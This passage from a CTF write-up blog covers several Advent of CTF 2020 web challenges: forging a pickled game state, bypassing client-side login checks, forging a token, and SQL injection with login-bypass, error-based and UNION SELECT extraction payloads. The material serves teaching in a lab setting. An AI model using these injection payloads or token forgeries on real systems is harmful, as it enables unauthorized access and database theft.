To crack this, we can simply reverse this algorithm. To do this, I grabbed the script from the HTML source, and added a crack method like so:
|
||||
|
||||
{{< code language="py" title="solve.py" >}}
|
||||
|
||||
```python
|
||||
import hashlib
|
||||
import pickle
|
||||
import base64
|
||||
|
||||
|
||||
def load_base64(base64_string):
|
||||
return pickle.loads(base64.b64decode(base64_string))
|
||||
|
||||
|
||||
def export_base64(game):
|
||||
return base64.b64encode(pickle.dumps(game)).decode()
|
||||
|
||||
|
||||
def hash_string(string):
|
||||
return hashlib.md5(string.encode('utf-8')).hexdigest()
|
||||
|
||||
|
||||
def hash_row(row):
|
||||
def conv(i): return i or ' '
|
||||
res = [conv(i) for i in row]
|
||||
return hash_string(' '.join(res))
|
||||
|
||||
|
||||
def hash_board(board):
|
||||
acc = ""
|
||||
for row in board:
|
||||
acc += hash_row(row)
|
||||
return acc
|
||||
|
||||
|
||||
def verify_chain(game):
|
||||
board = game["board"]
|
||||
chain = game["chain"]
|
||||
|
||||
if len(chain) > 0:
|
||||
if board != chain[-1]["board"]:
|
||||
return False
|
||||
|
||||
for block in chain:
|
||||
h = hash_board(block["board"])
|
||||
h = hash_string(h + block["prev"])
|
||||
if h != block["hash"]:
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def crack(game):
|
||||
game["board"] = [['X', 'X', 'X'], ['O', None, 'O'], [None, None, None]]
|
||||
game["chain"] = []
|
||||
game["finished"] = True
|
||||
game["winner"] = 'X'
|
||||
game["turn"] = 'O'
|
||||
|
||||
board = game["board"]
|
||||
|
||||
h = hash_board(board)
|
||||
h = hash_string(h)
|
||||
|
||||
game["chain"].append({
|
||||
"board": board,
|
||||
"hash": h,
|
||||
"prev": ""
|
||||
})
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
game = load_base64("gAN9cQAoWAUAAABib2FyZHEBXXECKF1xAyhYAQAAAE9xBGgETmVdcQUoaARYAQAAAFhxBmgGZV1xByhOaAZoBmVlWAQAAAB0dXJucQhoBFgIAAAAZmluaXNoZWRxCYlYBgAAAHdpbm5lcnEKWAAAAABxC1gEAAAAc2FuZXEMiFgKAAAAYmxvY2tjaGFpbnENiFgFAAAAY2hhaW5xDl1xDyh9cRAoaAFdcREoXXESKE5OTmVdcRMoTk5OZV1xFChOTmgGZWVYBAAAAHByZXZxFVggAAAAY2VmMjE1YzViZThjZjYzZmNmM2Q0M2VjZjI1MTBiMzNxFlgEAAAAaGFzaHEXWCAAAABlN2RjOGUxZjdhNjc4OGJjMGNiNjg0MTUzOGIyMTZlOHEYdX1xGShoAV1xGihdcRsoaAROTmVdcRwoTk5OZV1xHShOTmgGZWVoFWgYaBdYIAAAAGZjOTMyMzZiNWVlYTVmMWQ1NWUyYjViMzA4ZDY3MzkwcR51fXEfKGgBXXEgKF1xIShoBE5OZV1xIihOaAZOZV1xIyhOTmgGZWVoFWgeaBdYIAAAAGE4ZGMwZDNkYTI5MGQxZTg5NGVhYWZmY2I5ODM5OGM5cSR1fXElKGgBXXEmKF1xJyhoBGgETmVdcSgoTmgGTmVdcSkoTk5oBmVlaBVoJGgXWCAAAABlNzRmNWIyMmY1MjEzYmE0YzI0NDk3NTljZTkxYzJhYXEqdX1xKyhoAV1xLChdcS0oaARoBE5lXXEuKE5oBmgGZV1xLyhOTmgGZWVoFWgqaBdYIAAAAGVmMjU1MTRkZmZiZjgyNDdjZmY2MDYzYmU5MGYyZDU0cTB1fXExKGgBXXEyKF1xMyhoBGgETmVdcTQoaARoBmgGZV1xNShOTmgGZWVoFWgwaBdYIAAAAGUzYTRjMDM3YmRmMTU0YjM0NGVkOWJkMTY0M2E2MjlkcTZ1fXE3KGgBXXE4KF1xOShoBGgETmVdcTooaARoBmgGZV1xOyhOaAZoBmVlaBVoNmgXWCAAAABjMjQwZmExNjE3MzdjOTY3ZWNlNWZkOTQ2NzJhYjBmOHE8dWV1Lg==")
|
||||
crack(game)
|
||||
print(export_base64(game))
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
|
||||
After running this script, we get the following result:
|
||||
|
||||
```text
|
||||
gASVsgAAAAAAAAB9lCiMBWJvYXJklF2UKF2UKIwBWJRoBGgEZV2UKIwBT5ROaAZlXZQoTk5OZWWMBHR1cm6UaAaMCGZpbmlzaGVklIiMBndpbm5lcpRoBIwEc2FuZZSIjApibG9ja2NoYWlulIiMBWNoYWlulF2UfZQojAVib2FyZJRoAowEaGFzaJSMIDZkZTM2NDM0OTAwZTI4YTdlYWYwNDhhYjBhY2JlNjA0lIwEcHJldpSMAJR1YXUu
|
||||
```
|
||||
|
||||
When we set this and refresh the page, we get the following message: `"Game goes to: X NOVI{blockchain_cyb3r_security} Thank you for playing Advent of CTF! I hope you have a great christmas!"`.
|
||||
|
||||
## Solution
|
||||
|
||||
We got the flag! It is `NOVI{blockchain_cyb3r_security}`.
|
||||
@@ -0,0 +1,69 @@
|
||||
+++
|
||||
author = "Maik de Kruif"
|
||||
title = "Challenge 3"
|
||||
subtitle = "Challenge 3 - AdventOfCTF"
|
||||
date = 2020-12-03T09:29:12+01:00
|
||||
description = "A writeup for challenge 3 of AdventOfCTF."
|
||||
cover = "img/writeups/adventofctf/2020/4f5cc0afbb9e7ec6a57cdd68a92b9213.png"
|
||||
tags = [
|
||||
"AdventOfCTF",
|
||||
"challenge",
|
||||
"ctf",
|
||||
"hacking",
|
||||
"writeup",
|
||||
"web",
|
||||
"javascript",
|
||||
]
|
||||
categories = [
|
||||
"ctf",
|
||||
"writeups",
|
||||
"hacking",
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 300
|
||||
|
||||
## Description
|
||||
|
||||
For this challenge you will, again, need to bypass the login mechanism.
|
||||
|
||||
Visit <https://03.adventofctf.com> to start the challenge.
|
||||
|
||||
## Solution
|
||||
|
||||
When opening the website we're provided with a login form. If we fill in the form with random data, nothing happens. Usually a website will do a `POST` request to a URL when submitting a form, but even that didn't happen. So my guess is that there is some javascript in play.
|
||||
|
||||
Let's open the source and take a look at the form. Here we can see that when the form is submitted, a javascript function called `checkPass()` is called.
|
||||
|
||||
```html
|
||||
<form action="/index.php" onsubmit="checkPass(); return false"></form>
|
||||
```
|
||||
|
||||
To find this funtion, enter `checkPass` in the devtools console and click on the three dots at the bottom of the output.
|
||||
|
||||
```js
|
||||
function checkPass() {
|
||||
var username = document.getElementById("username").value;
|
||||
var password = document.getElementById("password").value;
|
||||
|
||||
var novi = "-NOVI";
|
||||
|
||||
if (password == btoa(username + novi)) {
|
||||
window.setTimeout(function () {
|
||||
window.location.assign(
|
||||
"inde" + "x.php?username=" + username + "&password=" + password
|
||||
);
|
||||
}, 500);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
We can see there is a check which checks if `password` is equal to `btoa(username + novi)`. But what is `btoa`? According to [w3schools](https://www.w3schools.com/jsref/met_win_btoa.asp):
|
||||
|
||||
> The btoa() method encodes a string in base-64.
|
||||
|
||||
To get the value of what the password should be, we have to know the output of `btoa(username + novi)`. Above this check, we see the `novi` variable is set to `'-NOVI'`. Now, we go to the devtools console and generate the password. In the console, enter `btoa("a" + "-NOVI")`. This returns `"YS1OT1ZJ"`, so lets try that combination. I used the username `"a"`. If we enter this combination in the form, we get redirected to a page with the flag.
|
||||
|
||||
This flag is `NOVI{javascript_is_not_s@fe}`.
|
||||
|
||||
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#3-4).
|
||||
@@ -0,0 +1,172 @@
|
||||
+++
|
||||
author = "Maik de Kruif"
|
||||
title = "Challenge 4"
|
||||
subtitle = "Challenge 4 - AdventOfCTF"
|
||||
date = 2020-12-04T09:58:46+01:00
|
||||
description = "A writeup for challenge 4 of AdventOfCTF."
|
||||
cover = "img/writeups/adventofctf/2020/f1d6ca5572e0c012239bcf4a8f797be1.png"
|
||||
tags = [
|
||||
"AdventOfCTF",
|
||||
"challenge",
|
||||
"ctf",
|
||||
"hacking",
|
||||
"writeup",
|
||||
"web",
|
||||
"javascript",
|
||||
]
|
||||
categories = [
|
||||
"ctf",
|
||||
"writeups",
|
||||
"hacking",
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 400
|
||||
|
||||
## Description
|
||||
|
||||
There are people who think you can hide important things by making it hard to read.
|
||||
|
||||
Visit <https://04.adventofctf.com> to start the challenge.
|
||||
|
||||
## Solution
|
||||
|
||||
When opening the website we're (for the first time) not provided with a login form. It is still authentication though as we are greeted with a message: "If you have access to it the special present will be shown below:". Also, I noticed the URL changed after about five seconds. That hints at some javascript, so let's open the sources tab in devtools. We find `login.js`.
|
||||
|
||||
{{< code language="js" title="login.js" >}}
|
||||
|
||||
```js
|
||||
function startup() {
|
||||
key = localStorage.getItem("key");
|
||||
|
||||
if (key === null) {
|
||||
localStorage.setItem("key", "eyJ1c2VyaWQiOjB9.1074");
|
||||
}
|
||||
}
|
||||
|
||||
var _0x1fde = ["charCodeAt"];
|
||||
(function (_0x93ff3a, _0x1fded8) {
|
||||
var _0x39b47b = function (_0x54f1d3) {
|
||||
while (--_0x54f1d3) {
|
||||
_0x93ff3a["push"](_0x93ff3a["shift"]());
|
||||
}
|
||||
};
|
||||
_0x39b47b(++_0x1fded8);
|
||||
})(_0x1fde, 0x192);
|
||||
var _0x39b4 = function (_0x93ff3a, _0x1fded8) {
|
||||
_0x93ff3a = _0x93ff3a - 0x0;
|
||||
var _0x39b47b = _0x1fde[_0x93ff3a];
|
||||
return _0x39b47b;
|
||||
};
|
||||
function calculate(_0x54f1d3) {
|
||||
var _0x58628b = _0x39b4,
|
||||
_0xc289d4 = 0x0;
|
||||
for (let _0x19ddf3 in text) {
|
||||
_0xc289d4 += text[_0x58628b("0x0")](_0x19ddf3);
|
||||
}
|
||||
return _0xc289d4;
|
||||
}
|
||||
|
||||
function check() {
|
||||
key = localStorage.getItem("key");
|
||||
hash = window.location.search.split("?")[1];
|
||||
|
||||
if (key !== null && hash != "token=" + key) {
|
||||
parts = key.split(".");
|
||||
text = atob(parts[0]);
|
||||
checksum = parseInt(parts[1]);
|
||||
|
||||
count = calculate(text);
|
||||
|
||||
if (count == checksum) {
|
||||
setTimeout(function () {
|
||||
window.location = "index.php?token=" + key;
|
||||
}, 5000);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
startup();
|
||||
check();
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
|
||||
This looks like some obfuscated code. So I started with de-obfuscating the code. After a few minutes of reading the code, I remembered to always start at the output. And after looking at the `check()` function I found out I had wasted my time.
|
||||
|
||||
As it turns out, we don't need to know what the obfuscated code does. If we read the `check()` function carefully, we see that we don't actually need to know what calculate does, we only need the output. I've added the commented code below:
|
||||
|
||||
```js
|
||||
function check() {
|
||||
// Get key from localStorage
|
||||
// The key is initialized in startup()
|
||||
// > "eyJ1c2VyaWQiOjB9.1074"
|
||||
key = localStorage.getItem("key");
|
||||
|
||||
// Get the token from the url
|
||||
// > "token=eyJ1c2VyaWQiOjB9.1074"
|
||||
hash = window.location.search.split("?")[1];
|
||||
|
||||
// If key and hash are not empty:
|
||||
if (key !== null && hash != "token=" + key) {
|
||||
// Split the key by a .
|
||||
// > (2) ["eyJ1c2VyaWQiOjB9", "1074"]
|
||||
parts = key.split(".");
|
||||
|
||||
// Decode the base64 from the first part of the key
|
||||
// > "{"userid":0}"
|
||||
text = atob(parts[0]);
|
||||
|
||||
// Get the value of the second part of the key as an int
|
||||
// > 1074
|
||||
checksum = parseInt(parts[1]);
|
||||
|
||||
// Calculate the value of text
|
||||
// > 1074
|
||||
count = calculate(text);
|
||||
|
||||
// If the last part of the key is correct:
|
||||
if (count == checksum) {
|
||||
// Execute this function after 5000ms
|
||||
setTimeout(function () {
|
||||
// Execute a get request with the token parameter
|
||||
window.location = "index.php?token=" + key;
|
||||
}, 5000);
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Now that we understand how it works, we cen reverse it. We know that the last part of the key (that is, after the `.`) is the value of calculate and the first part of the key is some base64 encoded JSON.
|
||||
|
||||
To reverse the functionality we, firstly, have to know the value of `text` so that we can calculate `count` and thus the last part of the url. Secondly, we calculate the base64 encoded value of `text`.
|
||||
|
||||
Let's turn this into some code:
|
||||
|
||||
```js
|
||||
function generateHash(input) {
|
||||
// Set the global text variable defined in
|
||||
// login.js, otherwise calculate doesn't work
|
||||
text = input;
|
||||
|
||||
let count = calculate(text);
|
||||
let key = btoa(text) + "." + count;
|
||||
|
||||
console.log(key);
|
||||
}
|
||||
|
||||
generateHash('{"userid":0}');
|
||||
```
|
||||
|
||||
Now that the key algorithm has been reversed, we can try some inputs. Currently the `userid` in the input is `0`, so lets try `1`.
|
||||
|
||||
```js
|
||||
generateHash('{"userid":1}');
|
||||
// > "eyJ1c2VyaWQiOjF9.1075"
|
||||
```
|
||||
|
||||
Let's try to use this key. As we saw in the `check()` function, the key is submitted as the token. To submit the key, we go to <https://04.adventofctf.com/index.php?token=eyJ1c2VyaWQiOjF9.1075>.
|
||||
|
||||
Now we're greeted with a flag. But be quick, as the `timeout` from `check()` will kick in after five seconds. The flag is `NOVI{0bfusc@t3_all_U_w@n7}`.
|
||||
|
||||
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#4-5).
|
||||
@@ -0,0 +1,220 @@
|
||||
+++
|
||||
author = "Maik de Kruif"
|
||||
title = "Challenge 5"
|
||||
subtitle = "Challenge 5 - AdventOfCTF"
|
||||
date = 2020-12-05T08:57:31+01:00
|
||||
description = "A writeup for challenge 5 of AdventOfCTF."
|
||||
cover = "img/writeups/adventofctf/2020/080b5d5fcaf13167d2e7e8871fdc8ded.png"
|
||||
tags = [
|
||||
"AdventOfCTF",
|
||||
"challenge",
|
||||
"ctf",
|
||||
"hacking",
|
||||
"writeup",
|
||||
"web",
|
||||
"sql-injection",
|
||||
]
|
||||
categories = [
|
||||
"ctf",
|
||||
"writeups",
|
||||
"hacking",
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 500
|
||||
|
||||
## Description
|
||||
|
||||
Again a login form stands in your way. What powerful 'hacker' tool will help you proceed?
|
||||
|
||||
Visit <https://05.adventofctf.com> to start the challenge.
|
||||
|
||||
## Finding the vulnerability
|
||||
|
||||
Upon opening the challenge website, we're, yet again, greeted with a login form. As the last few challenges used javascript I immediately opened the devtools to have a look at the sources. But, no javascript! This time it looks like the form is actually submitted. Below the form there is also some text: "A classic, with a twist.". When talking about forms, a classic exploit is SQL Injection. So let's try that.
|
||||
|
||||
### SQL Injection
|
||||
|
||||
My first try was to submit a quote `'` as the username and some garbage password. This is a common check for SQLi and if it works it throws an error:
|
||||
|
||||
```text
|
||||
Error description: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'sd'' at line 1
|
||||
```
|
||||
|
||||
But how does this work in the first place?
|
||||
|
||||
#### Background
|
||||
|
||||
When a login form on a website is submitted, the website often connects to a database to check the login credentials. On most website this database is a SQL database.
|
||||
|
||||
Here's an example of a query to check login credentials:
|
||||
|
||||
```sql
|
||||
FROM `users` SELECT * WHERE `username`='' AND `password`=''
|
||||
```
|
||||
|
||||
_Note: the backticks (\`) mean the content of it is a column in the database._
|
||||
|
||||
The username and password values are inserted in this query and if there is a result, the database will return it.
|
||||
|
||||
#### Vulnerability
|
||||
|
||||
Now that we know how it works, we can try to exploit it. Take my first input for example (`'`) and see what the resulting query would be.
|
||||
|
||||
```sql
|
||||
FROM `users` SELECT * WHERE `username`=''' AND `password`='garbage'
|
||||
```
|
||||
|
||||
The query becomes invalid as there is an unterminated string. So, how do we turn this query into one that logs us in as the admin?
|
||||
|
||||
## Solution
|
||||
|
||||
Firstly, I tried to use `' OR 1=1 -- ` as the username and, again, some garbage as the password. However, it didn't work. It didn't even return an error. So I guess this is where "A classic, with a twist." comes in. Next, I tried to just use `admin` as the username and end the query after it by inserting a comment (this is `--` in sql). The resulting input would become `admin' -- ` for the username, the password doesn't matter.
|
||||
|
||||
The resulting query would be this:
|
||||
|
||||
```sql
|
||||
FROM `users` SELECT * WHERE `username`='admin' -- ' AND `password`='garbage'
|
||||
```
|
||||
|
||||
As we can see, it now only checks the username. I submitted the form and, I got the flag! It is `NOVI{th3_classics_with_a_7wis7}`
|
||||
|
||||
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#5-6).
|
||||
|
||||
## EDIT
|
||||
|
||||
As [@credmp](https://twitter.com/credmp) correctly pointed out, this only works if you can guess the username. If you can't, you'll have to get it first. I'll explain how to do that here.
|
||||
|
||||
### Getting the database
|
||||
|
||||
As we can see the error on the page itself, we can use a query to give a result inside the error. For instance, to get the database I used the following input: `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- `. This results into the following query:
|
||||
|
||||
```sql
|
||||
FROM `users` SELECT * WHERE `username`='' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) as x FROM information_schema.tables GROUP BY x) as y) -- ' AND `password`=''
|
||||
```
|
||||
|
||||
After submitting the form it gives us the following error:
|
||||
|
||||
```text
|
||||
Error description: Duplicate entry 'testdb:1' for key 'group_key'
|
||||
```
|
||||
|
||||
#### How does this work?
|
||||
|
||||
Firstly, I'll format the query for you:
|
||||
|
||||
```sql
|
||||
FROM `users`
|
||||
SELECT *
|
||||
WHERE `username`='' AND (
|
||||
SELECT 1 FROM (
|
||||
SELECT COUNT(*), CONCAT(
|
||||
(
|
||||
SELECT database()
|
||||
),
|
||||
0x3a,
|
||||
FLOOR(RAND(0)*2)
|
||||
) AS x
|
||||
FROM information_schema.tables GROUP BY x
|
||||
) AS y) -- ' AND `password`=''
|
||||
```
|
||||
|
||||
Now let me explain this query.
|
||||
|
||||
We start with an `AND` to get another value, which is a nested SQL query. This query selects `1`, this is just because we actually need a value. Now we get to the important bit:
|
||||
|
||||
```sql
|
||||
SELECT COUNT(*), CONCAT(
|
||||
(
|
||||
SELECT database()
|
||||
),
|
||||
0x3a,
|
||||
FLOOR(RAND(0)*2)
|
||||
) AS x
|
||||
FROM information_schema.tables GROUP BY x
|
||||
```
|
||||
|
||||
Here, we select `COUNT(*)` and a string `CONCAT()` with the alias `x`. This `CONCAT()` contains the SQL query we actually want to execute. I can, however, only return one row. The `CONCAT()` also contains `0x3a` which is ASCII for a `:` character so we know where the value we want ends and `FLOOR(RAND(0)*2)`. The purpose of it is to get a duplicate entry error in the `GROUP BY` as it will result in the following values:
|
||||
|
||||
```sql
|
||||
> SELECT FLOOR(RAND(0)*2)x FROM information_schema.tables;
|
||||
+---+
|
||||
| x |
|
||||
+---+
|
||||
| 0 |
|
||||
| 1 |
|
||||
| 1 | <-- The error will occur here.
|
||||
| 0 |
|
||||
| 1 |
|
||||
| 1 |
|
||||
...
|
||||
```
|
||||
|
||||
The error really occurs because of a bug in MySQL. The `COUNT(*)` and `GROUP BY` should give multiple rows as the output, however, MySQL throws an error.
|
||||
|
||||
The `FROM` in this query can be any table with three or more rows. `information_schema.tables` is just a common one.
|
||||
|
||||
Now we know the name of the database (`testdb`), we can get the tables in it.
|
||||
|
||||
### Getting the tables
|
||||
|
||||
We can only get the tables one by one (as I explained above) so we can use the following sub-query:
|
||||
|
||||
```sql
|
||||
SELECT table_name FROM information_schema.tables WHERE table_schema='testdb' LIMIT 0,1
|
||||
```
|
||||
|
||||
Converted to an input we get `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema='testdb' LIMIT 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- `
|
||||
|
||||
_Note: to get next table, just edit the `LIMIT` to `1,1`, `2,1` and so on_
|
||||
|
||||
Which returns:
|
||||
|
||||
```text
|
||||
Error description: Duplicate entry 'users:1' for key 'group_key'
|
||||
```
|
||||
|
||||
Now that we know the table (`users`), we can get it's columns
|
||||
|
||||
### Getting the columns
|
||||
|
||||
A sub-query for columns could be the following:
|
||||
|
||||
```sql
|
||||
SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1
|
||||
```
|
||||
|
||||
Which converts to this input: `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- `
|
||||
|
||||
Which gives us (with other `LIMIT` as well):
|
||||
|
||||
```text
|
||||
Error description: Duplicate entry 'USER:1' for key 'group_key'
|
||||
Error description: Duplicate entry 'CURRENT_CONNECTIONS:1' for key 'group_key'
|
||||
Error description: Duplicate entry 'TOTAL_CONNECTIONS:1' for key 'group_key'
|
||||
Error description: Duplicate entry 'username:1' for key 'group_key'
|
||||
Error description: Duplicate entry 'password:1' for key 'group_key'
|
||||
```
|
||||
|
||||
The first three we can just ignore as they are default metrics from MySQL. So our resulting columns would be `username` and `password`
|
||||
|
||||
### Getting its contents
|
||||
|
||||
Because we only care for the username, we can discard the password.
|
||||
|
||||
A simple `SELECT` query for the username would be:
|
||||
|
||||
```sql
|
||||
SELECT username from users limit 0,1
|
||||
```
|
||||
|
||||
Turing this into an input we get `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT username from users limit 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- `
|
||||
|
||||
We get:
|
||||
|
||||
```text
|
||||
Error description: Duplicate entry 'nottheuser:1' for key 'group_key'
|
||||
Error description: Duplicate entry 'admin:1' for key 'group_key'
|
||||
```
|
||||
|
||||
Which means our users are `nottheuser` and `admin`.
|
||||
@@ -0,0 +1,299 @@
|
||||
+++
|
||||
author = "Maik de Kruif"
|
||||
title = "Challenge 6"
|
||||
subtitle = "Challenge 6 - AdventOfCTF"
|
||||
date = 2020-12-06T15:24:45+01:00
|
||||
description = "A writeup for challenge 6 of AdventOfCTF."
|
||||
cover = "img/writeups/adventofctf/2020/c366d63edd4a35c9f8bea89e57401fef.png"
|
||||
tags = [
|
||||
"AdventOfCTF",
|
||||
"challenge",
|
||||
"ctf",
|
||||
"hacking",
|
||||
"writeup",
|
||||
"web",
|
||||
"sql-injection",
|
||||
]
|
||||
categories = [
|
||||
"ctf",
|
||||
"writeups",
|
||||
"hacking",
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 600
|
||||
|
||||
## Description
|
||||
|
||||
Search Santa's database of big secrets, you will probably find something useful.
|
||||
|
||||
Visit <https://06.adventofctf.com> to start the challenge.
|
||||
|
||||
## Finding the vulnerability
|
||||
|
||||
When opening the challenge website, we see a search bar. The description mentions a database so the search text is probably converted to a database query. The header also mentions that only the first 5 characters of each secret is shown. Let's try searching for "flag". This returns a table with one row:
|
||||
|
||||
| id | Description | Proof |
|
||||
| --- | ------------- | ------------ |
|
||||
| 3 | Adven-------- | FLAG ------- |
|
||||
|
||||
Now let's try entering a quote (`'`). Hmm, now we get an empty table. Let's try some text with a quote. Now we get a MySQL error:
|
||||
|
||||
```text
|
||||
Error description: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''%'' at line 1
|
||||
```
|
||||
|
||||
This means we can probably do some SQL injection.
|
||||
|
||||
### SQL Injection
|
||||
|
||||
As we can see the result of the query on the screen, it's a little easier that last time. Firstly, let's think of what the query might be. It could be something like this:
|
||||
|
||||
```sql
|
||||
SELECT id, descr, proof FROM santabase WHERE descr LIKE '%search text%' OR proof LIKE '%search text%'
|
||||
```
|
||||
|
||||
If this were the query, we could use a `UNION SELECT` to add our own query. Let's try getting the table names. I came up with the following query:
|
||||
|
||||
```sql
|
||||
UNION SELECT table_name, 2, 3 FROM information_schema.tables
|
||||
```
|
||||
|
||||
The `2` and `3` in the `SELECT` are a filler because our guessed query has three columns. The use this query we have to escape the string in the query first. To do this, I added a `'` before our query and appended the symbols for a comment (`--`) at the end. This results in the following input: `' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- `. This way the query that will be executed becomes this:
|
||||
|
||||
```sql
|
||||
SELECT id, descr, proof FROM santabase WHERE descr LIKE '%' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- %' OR proof LIKE '%' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- %'
|
||||
```
|
||||
|
||||
As you can see the string is escaped and the result of this query will have the result of our query at the end.
|
||||
|
||||
When submitting it I got the following result:
|
||||
|
||||
{{< code language="text" title="Result" >}}
|
||||
|
||||
```markdown
|
||||
| id | Description | Proof |
|
||||
| -------------------------------------------------- | ------------- | ------------ |
|
||||
| 1 | Acces-------- | The a------- |
|
||||
| 2 | KFC R-------- | The 1------- |
|
||||
| 3 | Adven-------- | FLAG ------- |
|
||||
| 4 | The d-------- | Do yo------- |
|
||||
| ALL_PLUGINS | 2-------- | 3------- |
|
||||
| APPLICABLE_ROLES | 2-------- | 3------- |
|
||||
| CHARACTER_SETS | 2-------- | 3------- |
|
||||
| CHECK_CONSTRAINTS | 2-------- | 3------- |
|
||||
| COLLATIONS | 2-------- | 3------- |
|
||||
| COLLATION_CHARACTER_SET_APPLICABILITY | 2-------- | 3------- |
|
||||
| COLUMNS | 2-------- | 3------- |
|
||||
| COLUMN_PRIVILEGES | 2-------- | 3------- |
|
||||
| ENABLED_ROLES | 2-------- | 3------- |
|
||||
| ENGINES | 2-------- | 3------- |
|
||||
| EVENTS | 2-------- | 3------- |
|
||||
| FILES | 2-------- | 3------- |
|
||||
| GLOBAL_STATUS | 2-------- | 3------- |
|
||||
| GLOBAL_VARIABLES | 2-------- | 3------- |
|
||||
| KEY_CACHES | 2-------- | 3------- |
|
||||
| KEY_COLUMN_USAGE | 2-------- | 3------- |
|
||||
| PARAMETERS | 2-------- | 3------- |
|
||||
| PARTITIONS | 2-------- | 3------- |
|
||||
| PLUGINS | 2-------- | 3------- |
|
||||
| PROCESSLIST | 2-------- | 3------- |
|
||||
| PROFILING | 2-------- | 3------- |
|
||||
| REFERENTIAL_CONSTRAINTS | 2-------- | 3------- |
|
||||
| ROUTINES | 2-------- | 3------- |
|
||||
| SCHEMATA | 2-------- | 3------- |
|
||||
| SCHEMA_PRIVILEGES | 2-------- | 3------- |
|
||||
| SESSION_STATUS | 2-------- | 3------- |
|
||||
| SESSION_VARIABLES | 2-------- | 3------- |
|
||||
| STATISTICS | 2-------- | 3------- |
|
||||
| SYSTEM_VARIABLES | 2-------- | 3------- |
|
||||
| TABLES | 2-------- | 3------- |
|
||||
| TABLESPACES | 2-------- | 3------- |
|
||||
| TABLE_CONSTRAINTS | 2-------- | 3------- |
|
||||
| TABLE_PRIVILEGES | 2-------- | 3------- |
|
||||
| TRIGGERS | 2-------- | 3------- |
|
||||
| USER_PRIVILEGES | 2-------- | 3------- |
|
||||
| VIEWS | 2-------- | 3------- |
|
||||
| GEOMETRY_COLUMNS | 2-------- | 3------- |
|
||||
| SPATIAL_REF_SYS | 2-------- | 3------- |
|
||||
| CLIENT_STATISTICS | 2-------- | 3------- |
|
||||
| INDEX_STATISTICS | 2-------- | 3------- |
|
||||
| INNODB_SYS_DATAFILES | 2-------- | 3------- |
|
||||
| USER_STATISTICS | 2-------- | 3------- |
|
||||
| INNODB_SYS_TABLESTATS | 2-------- | 3------- |
|
||||
| INNODB_LOCKS | 2-------- | 3------- |
|
||||
| INNODB_MUTEXES | 2-------- | 3------- |
|
||||
| INNODB_CMPMEM | 2-------- | 3------- |
|
||||
| INNODB_CMP_PER_INDEX | 2-------- | 3------- |
|
||||
| INNODB_CMP | 2-------- | 3------- |
|
||||
| INNODB_FT_DELETED | 2-------- | 3------- |
|
||||
| INNODB_CMP_RESET | 2-------- | 3------- |
|
||||
| INNODB_LOCK_WAITS | 2-------- | 3------- |
|
||||
| TABLE_STATISTICS | 2-------- | 3------- |
|
||||
| INNODB_TABLESPACES_ENCRYPTION | 2-------- | 3------- |
|
||||
| INNODB_BUFFER_PAGE_LRU | 2-------- | 3------- |
|
||||
| INNODB_SYS_FIELDS | 2-------- | 3------- |
|
||||
| INNODB_CMPMEM_RESET | 2-------- | 3------- |
|
||||
| INNODB_SYS_COLUMNS | 2-------- | 3------- |
|
||||
| INNODB_FT_INDEX_TABLE | 2-------- | 3------- |
|
||||
| INNODB_CMP_PER_INDEX_RESET | 2-------- | 3------- |
|
||||
| user_variables | 2-------- | 3------- |
|
||||
| INNODB_FT_INDEX_CACHE | 2-------- | 3------- |
|
||||
| INNODB_SYS_FOREIGN_COLS | 2-------- | 3------- |
|
||||
| INNODB_FT_BEING_DELETED | 2-------- | 3------- |
|
||||
| INNODB_BUFFER_POOL_STATS | 2-------- | 3------- |
|
||||
| INNODB_TRX | 2-------- | 3------- |
|
||||
| INNODB_SYS_FOREIGN | 2-------- | 3------- |
|
||||
| INNODB_SYS_TABLES | 2-------- | 3------- |
|
||||
| INNODB_FT_DEFAULT_STOPWORD | 2-------- | 3------- |
|
||||
| INNODB_FT_CONFIG | 2-------- | 3------- |
|
||||
| INNODB_BUFFER_PAGE | 2-------- | 3------- |
|
||||
| INNODB_SYS_TABLESPACES | 2-------- | 3------- |
|
||||
| INNODB_METRICS | 2-------- | 3------- |
|
||||
| INNODB_SYS_INDEXES | 2-------- | 3------- |
|
||||
| INNODB_SYS_VIRTUAL | 2-------- | 3------- |
|
||||
| INNODB_TABLESPACES_SCRUBBING | 2-------- | 3------- |
|
||||
| INNODB_SYS_SEMAPHORE_WAITS | 2-------- | 3------- |
|
||||
| plugin | 2-------- | 3------- |
|
||||
| db | 2-------- | 3------- |
|
||||
| column_stats | 2-------- | 3------- |
|
||||
| time_zone_name | 2-------- | 3------- |
|
||||
| help_topic | 2-------- | 3------- |
|
||||
| table_stats | 2-------- | 3------- |
